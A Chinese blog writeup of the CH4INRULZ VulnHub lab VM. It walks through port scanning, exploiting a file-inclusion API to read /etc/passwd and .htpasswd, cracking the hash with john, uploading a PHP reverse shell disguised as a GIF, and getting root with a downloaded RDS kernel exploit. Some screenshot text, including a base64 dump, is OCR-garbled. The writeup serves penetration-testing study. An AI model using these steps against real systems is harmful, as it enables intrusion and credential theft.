vulhub - CH4INRULZ_v1.0.1 writeup

一支神经病
 ① 于 2019-04-01 15:22:05 发布
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<u>VM破解 专栏收录该内容</u> 18 篇文章 1 订阅 订阅专栏 主机来源: www.vulnhub.com

下载链接: https://www.vulnhub.com/entry/ch4inrulz-101,247/

准备工作:

下载.ova文件,直接双击即可安装成功

[5.182416] piix4_smbus 0000:00:07.3: Host SMBus controller not enabled! Ubuntu maverick (development branch) ubuntu tty1 ubuntu login: _

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设置连接方式为NAT,攻击机器使用kali,也设置为NAT。

发现IP

刚安装的虚拟机并不知道IP地址,使用netdiscover发现IP。

简介下netdiscover的用法:

-i 指定网卡

-r 指定地址范围

root@kali:~# netdiscover -i eth0 -r 10.0.3.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.3.1 10.0.3.2 10.0.3.130	00:50:56:c0:00:08 00:50:56:ff:6c:8b 00:0c:29:a7:4f:85	1 1 1	60 60 60	VMware, Inc. VMware, Inc. VMware, Inc.
10.0.3.254	00:50:56:e2:86:33	1	60	VMware, Inc.

发现IP为10.0.3.130。

端口发现

使用nmap进行端口扫描

```
root@kali:~# nmap -A -p- 10.0.3.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-29 15:03 CST
Nmap scan report for 10.0.3.130
Host is up (0.00062s latency).
Not shown: 65531 closed ports
PORT
        STATE SERVICE VERSION
        open ftp vsftpd 2.3.5
21/tcp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
   STAT:
| FTP server status:
      Connected to 10.0.3.198
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Control connection is plain text
      Data connections will be plain text
      At session startup, client count was 4
      vsFTPd 2.3.5 - secure, fast, stable
_End of status
                      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
ssh-hostkey:
    1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
    2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
L
256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
                      Apache httpd 2.2.22 ((Ubuntu))
80/tcp open http
http-server-header: Apache/2.2.22 (Ubuntu)
_http-title: FRANK's Website | Under development
8011/tcp open http
                      Apache httpd 2.2.22 ((Ubuntu))
_http-server-header: Apache/2.2.22 (Ubuntu)
_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:A7:4F:85 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.19 - 2.6.36
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT
           ADDRESS
1 0.62 ms 10.0.3.130
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.40 seconds
```

探测发现21、22、80、8011端口开启,逐一排查。

端口21:

发现21端口可以匿名登录。我们登录进行查看。

ot@kali:~# ftp 10.0.3.130 Connected to 10.0.3.130. 220 (vsFTPd 2.3.5) Name (10.0.3.130:root): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 20 111 4096 Apr 13 2018 . 20 111 drwxr-xr-x https://blog.csdn.net/Jiajiajiang 226 Directory send OK.

没有什么有价值的信息。

端口8011:

8011是http服务,我们对端口8011使用dirb进行目录爆破。



对扫描结果进行访问测试。

发现api下有提示



This API will be used to communicate with Frank's server

but it's still under development

* web api.php

- * records api.php
 - * files_api.php

* database_api.php

挨个访问,知道files_api.php,才出现提示。

Intersection 10.0.3.130:8011/api/files_api.php
 Most Visited Intersection Intersecti

No parameter called file passed to me

* Note : this API don't use json , so send the file name in raw format

我们加上file参数,进行测试。

(10.0.3.130:8011/api/files_api.php?file=/etc/passwd

📷 Most Visited 🗸 👖 Offensive Security 🥆 Kali Linux 🥆 Kali Docs 🥆 🖡

YOUR IP IS : 10.0.3.198

WRONG INPUT !!

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这里有拦截,说明这里应该是可以利用的。

我们采用post方式提交参数。

<pre>root@kali:~# curl -X POST -d "file=/etc/passwd" http://10.0.3.1</pre>	.30:8011/api/files_api.php
<head> <title>franks website simple website browser API</title> </head>	
<pre>root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync apmcs:x:5:60:gamcs:/win/sh</pre>	
<pre>games:x:5:00:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh</pre>	
<pre>uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh</pre>	
<pre>list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats nobody:x:65534:65534:nobody:/nonexistent:/bin/sh</pre>	:/bin/sh
<pre>libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false frank:x:1000:1000:frank,,,:/home/frank:/bin/bash sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin ftp:x:102:111:ftp_dagmap:/srv/ftp:/bin/false</pre>	https://blog.csdn.net/.jiaijaijang
rep.x.103.111.rep ddemon,,,./srv/rep./bin/racse	group group and

找目录

端口80:

http服务,同样我们先进行目录爆破。

root@kali:~# dirb http://10.0.3.130 DIRB v2.22 By The Dark Raver START TIME: Fri Mar 29 16:14:42 2019 URL_BASE: http://10.0.3.130/ WORDLIST FILES: /usr/share/dirb/wordlists/common.txt GENERATED WORDS: 4612 ---- Scanning URL: http://10.0.3.130/ ----+ http://10.0.3.130/cgi-bin/ (CODE:403|SIZE:286) ==> DIRECTORY: http://10.0.3.130/css/ + http://10.0.3.130/development (CODE:401|SIZE:477) ==> DIRECTORY: http://10.0.3.130/img/ + http://10.0.3.130/index (CODE:200|SIZE:334) + http://10.0.3.130/index.html (CODE:200|SIZE:13516) ==> DIRECTORY: http://10.0.3.130/js/ + http://10.0.3.130/LICENSE (CODE:200|SIZE:1093) + http://10.0.3.130/robots (CODE:200|SIZE:21) + http://10.0.3.130/robots.txt (CODE:200|SIZE:21) + http://10.0.3.130/server-status (CODE:403|SIZE:291) ==> DIRECTORY: http://10.0.3.130/vendor/ ---- Entering directory: http://10.0.3.130/css/ ----(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.0.3.130/img/ ---(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.0.3.130/js/ ----(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.0.3.130/vendor/ ----(!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway)

END_TIME: Fri Mar 29 16:14:45 2019 DOWNLOADED: 4<u>6</u>12 - FOUND: 8

发现很多目录,重点发现需要密码验证的目录。

root@kali:~# dirb http://10.0.3.130|grep "CODE:401"
+ http://10.0.3.130/development (CODE:401|SIZE:477)

补充一下,状态码401:请求要求身份验证。对于需要登录的网页,服务器可能返回此响应。

访问此目录



* Here is my unfinished tools list

- the uploader tool (finished but need security review)

€ 0 10.0.	.3.130/development	×
😣 🗊 Authe	ntication Required	
and and	A username and password are being requested by http://10.0.3.130. The site says: "Frank Development Area"	
User Name:		
Password:		
	https://Cancel.elp.nei//lisOKjis	<u></u>

找密码

需要登录,我们去寻找密码。

使用nikto对网站进行扫描。

<pre>root@kali:~# nikto -he - Nikto v2.1.6</pre>	ost http://10.0.3.130		
+ Target IP: + Target Hostname: + Target Port: + Start Time:	10.0.3.130 10.0.3.130 80 2019-03-29 17:21:56 (GMT8)		
+ Server: Apache/2.2.7 + Server leaks inodes 39:32 2018	22 (Ubuntu) via ETags, header found with fi	le /, inode: 1051931, size: 1	13516, mtime: Sat Apr 14 21:
+ The anti-clickjacki + The X-XSS-Protection forms of XSS	ng X-Frame-Options header is not n header is not defined. This he	present. eader can hint to the user age	ent to protect against some
+ The X-Content-Type- site in a different fa + Apache/2.2.22 appea	Options header is not set. This ashion to the MIME type rs to be outdated (current is at	could allow the user agent to least Apache/2.4.12). Apache	render the content of the 2.0.65 (final release) and
<pre>2.2.29 are also curro + Uncommon header 'tcr + Apache mod_negotiat: See http://www.wisec</pre>	ent. n' found, with contents: list ion is enabled with MultiViews, it/sectou.php?id=4698ebdc59d15	which allows attackers to eas	sily brute force file names.
<pre>x.html, index.html.bal + Allowed HTTP Methods + OSVDB-3268: /img/: I</pre>	s: GET, HEAD, POST, OPTIONS Directory indexing found.	The foctowing acconactives i	of index were found. Inde
+ OSVDB-3092: /img/: + OSVDB-3233: /icons/I + 8497 requests: 0 er	This might be interesting README: Apache default file four ror(s) and 11 item(s) reported c	nd. on remote host	
+ End Time: + 1 host(s) tested	2019-03-29 17:22:15 (GMT8) (19	seconds)	https://blog.csdn.net/Jiajiajiang_

提示有两个文件: index.html和index.html.bak

下载此bak文件。



读文件:

root@kali:~# cat index.html.bak <html><body><h1>It works!</h1> This is the default web page for this server. The web server software is running but no content has been added, yet. development <!-- I will use frank:\$apr1\$10IGDEDK\$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development oath --> </body></html>

可以看到用户名密码: frank:\$apr1\$1olGDEDK\$/aVFPluYt56UvslZMBDoC0

或者执行命令:

root@kali:~# curl -X POST -d "file=/etc/.htpasswd" http://10.0.3.130:8011/api/files_api.php

<head> <title>franks website | simple website browser API</title> </head>

frank:\$apr1\$1oIGDEDK\$/aVFPluYt56UvslZMBDoC0

对上面的账号进行暴力猜解,使用john the rapper。

使用john爆破密码,John是爆破文件,先将密码写入文件,在进行破解。

root@kali:~# cat hash.txt
frank:\$apr1\$10IGDEDK\$/aVFPluYt56UvslZMBDoC0

root@kali:~# john hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) \$1\$ [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status frank!!! (frank) 1g 0:00:00 DONE 1/3 (2019-03-29 18:22) 25.00g/s 4700p/s 4700c/s 4700C/s frank!!..fr4nk Use the "--show" option to display all of the cracked passwords reliably Session completed

我们现在有了用户名密码: frank:frank!!!

使用密码登录development目录。

* Here is my unfinished tools list

- the uploader tool (finished but need security review)

找上传点

找到关键词uploader,尝试作为路径访问。

🔆 🛈 10.0.3.130/development/uploader/
📷 Most Visited 🗸 👖 Offensive Security 🥆 Kali Linux 🥆 Kali Docs 🥆 Kali Tools 📥 Exploi
Frank Uploader Script beta version
Select image to upload:
Browse No file selected.
Upload Image
TODO : script security "50% FINISHED" https://blog.csdn.net/Jiajiajiang_
看到这里是可以上传文件的。我们尝试上传。
发现只可以上传图片格式的文件。



File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

我们上传一个图片马,使用一个kali官方的反弹shell:

shell: /usr/share/webshells/php/php-reverse-shell.php

修改文件头为GIF98。



修改文件内容,此处设置自己的ip地址和端口。



修改文件后缀为gif。

```
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php 9
root@kali:~# vim 9
root@kali:~# mv 9 9.gif
```

开始上传。

Frank Uploader Script beta version



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上传成功。



File is an image - image/gif. The file 9.gif has been uploaded to my uploads path.

找上传路径

但我们没有上传地址。

根据经验,一般网站都在/var/www/html目录下。

根据测试发现80端口的网站在/var/www/目录下。

我们有个可以读文件的地方,试一下。

避免php内容被解析,通过php编码流可以实现base64编码,编码后解析器就无法识别了。

curl -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php" "http:

root@kali:~# curl -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.p
hp" "http://10.0.3.130:8011/api/files_api.php"

<head>

<title>franks website | simple website browser API</title> </head>

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU lsiZmlsZVRvVXBsb2FkIllbIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdG FyZ2V0X2ZpbGUsUEFUSEL0Rk9fRVhURU5TSU90KSK7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaWlhZ2Ugb3IgZmFrZSB pbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrIG0gZV0aWlhZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9h ZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGImKCRjaGVjayAPhT0gZmFsc2UpIHsKICAgICAgICB1Y2hvICJGaWxlIGLIGFuIGltYWdlICOgIAW CRjaGVja1sibWltZSJdIC4gIi4i0wogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgICAgIGVjaG8gIKZpbGUgaXMgbm 90IGFuIGltYWdlLi17CiAgICAgICAgIAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIKZpbGUgaXMgbm 90IGFuIGltYWdlLi17CiAgICAgICAgIHvwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmICh maWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICB1Y2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4i0wogICAgJHVwbG9hZE9r ID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklWRVbImZpbGVUb1VwbG9hZCJdWyJzaXplll0gPiA1MDAMDApIHsKICAgIGVja 68gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGshcmdlLi17CiAgICAkdXBsb2FKT2sgPSAw0wp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3 JtYXRzCmlmKCRpbWFnZUZpbGVUeXBLICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBLICE9ICJ qcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZp b6VzIGFyZSBhbGxvd2VkLi17CiAgICAkdXBsb2FKI2sgPSAw0wp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgd68gMCBieSBhbiBlc nJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gILNvcnJ5LCBb5JVyIGZpbGUgZLSZNGWG9hZGVkXz2pbGUoJF9GSUxFUIsiZm sZVRvVXBsb2FkIllbInshbWUiXSkuICIgaGFzIGJIZW4gdXBsb2FkZW0gdG8gbXkgdXBsb2FkCVBWXR0LiF7CiAgIC89JF9G SUxFUIsiZmlsZVRvVXBsb2FkIllbIm5hbWUiXSkuICIgaGFZGJCJW4gdXBsb2FkZW0gdG8gbXkgdXBsb2FkcVBWXR0LiF7CiAgIC89JF9G 2UgewogICAgICAgIGVja68gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkzW50FIH\vXIgZmlsZ5DF0GV4C80ICAgIG9C

```
<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
     if($check !== false) {
         echo "File is an image - " . $check["mime"] . ".";
         $upload0k = 1;
        echo "File is not an image.";
         $uploadOk = 0;
    }
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
         echo "Sorry, there was an error uploading your file.";
    }
}
                                                                                             https://blog.csdn.net/Jiajiajiang_
```

我们看到了上传目录: FRANKuploads/

http://10.0.3.130/development/uploader/FRANKuploads/

反弹getshell

使用msf或者nc设置监听4444端口。

root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...

新窗口访问:

root@kali:~# curl -d "file=/var/www/development/uploader/FRANKuploads/9.gif" "http://10.0.3.130:8011/api/file s_api.php"

喜得shell

root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.0.3.198] from (UNKNOWN) [10.0.3.130] 57970
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
07:58:13 up 3 days, 20:15, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off

提权

查看内核版本

\$ uname -a Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux

搜索漏洞

<pre>root@kali:~# searchsploit 2.6.35</pre>	
Exploit Title	Path (/usr/share/exploitdb/)
Linux Kernel 2.6.35 - Network Namespace Remote Denial of Service	exploits/linux/dos/36425.txt
Shellcodes: No Result	

不能用,我们找高一点版本的

<pre>root@kali:~# searchsploit 2.6.36</pre>	
Exploit Title	Path (/usr/share/exploitdb/)
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privi Linux Kernel 2.6.36 - VIDIOCSMICROCODE IOCTL Local Memory Overwrite Linux Kernel 2.6.36 IGMP - Remote Denial of Service Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation P Linux Kernel < 2.6.36-rc6 (RedHat / Ubuntu 10.04) - 'pktcdvd' Kerne Linux Kernel < 2.6.36.2 (Ubuntu 10.04) - 'Half-Nelson.c' Econet Pri Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution	<pre> exploits/linux_x86-64/local/15024.c exploits/linux/local/15344.c exploits/linux/local/15348.c exploits/linux/local/15285.c exploits/linux/local/14814.c exploits/linux_x86-64/local/15023.c exploits/linux/local/15150.c exploits/linux/local/17787.c exploits/multiple/remote/38454.py</pre>
Shellcodes: No Result	https://blog.csdn.net/Jiajiajiang_

经测试/usr/share/exploitdb/exploits/linux/local/15285.c可用

copy到当前目录上来

root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/15285.c 9.c
root@kali:~#

避免发生意外,在自己的机器上进行编译



在kali上设置简单的HTTP服务器

root@kali:~# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...

在靶机上下载此文件:

\$ wget http://10.0.3.198/9
--2019-04-01 08:08:48-- http://10.0.3.198/9
Connecting to 10.0.3.198:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14096 (14K) [application/octet-stream]
9: Permission denied

Cannot write to `9' (Permission denied).

没有权限,换个目录再执行

\$ cd /var/tmp \$ wget http://10.0.3.198/9 --2019-04-01 08:14:30-- http://10.0.3.198/9 Connecting to 10.0.3.198:80... connected. HTTP request sent, awaiting response... 200 OK Length: 14096 (14K) [application/octet-stream] Saving to: `9'

0K

100% 5.89M=0.002s

2019-04-01 08:14:30 (5.89 MB/s) - `9' saved [14096/1409thps://blog.csdn.net/Jiajiajiang_

成功

修改权限并执行此文件

```
$ chmod 777 9
 ./9
$
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security ops to 0xffffffff81ce8df0
[+] Resolved default security ops to 0xffffffff81a523e0
[+] Resolved cap ptrace traceme to 0xffffffff8125db60
[+] Resolved commit creds to 0xffffffff810852b0
[+] Resolved prepare kernel cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security ops to 0xffffffff81ce8df0
[+] Resolved default security ops to 0xfffffff81a523e0
[+] Resolved cap ptrace traceme to 0xfffffff8125db60
[+] Resolved commit creds to 0xffffffff810852b0
[+] Resolved prepare kernel cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xffffffff81ce8df0
[+] Resolved default_security_ops to 0xfffffff81a523e0
[+] Resolved cap_ptrace traceme to 0xffffffff8125db60
[+] Resolved commit creds to 0xfffffff810852b0
[+] Resolved prepare kernel cred to 0xffffffff81085780
[*] Overwriting security ops...
[*] Overwriting function pointer...
   Triggering payload...
 *1
[*] Restoring function pointer... https://blog.csdn.net/Jiajiajiang
```

id uid=0(root) gid=0(root) groups=0(root) whoami root

收官。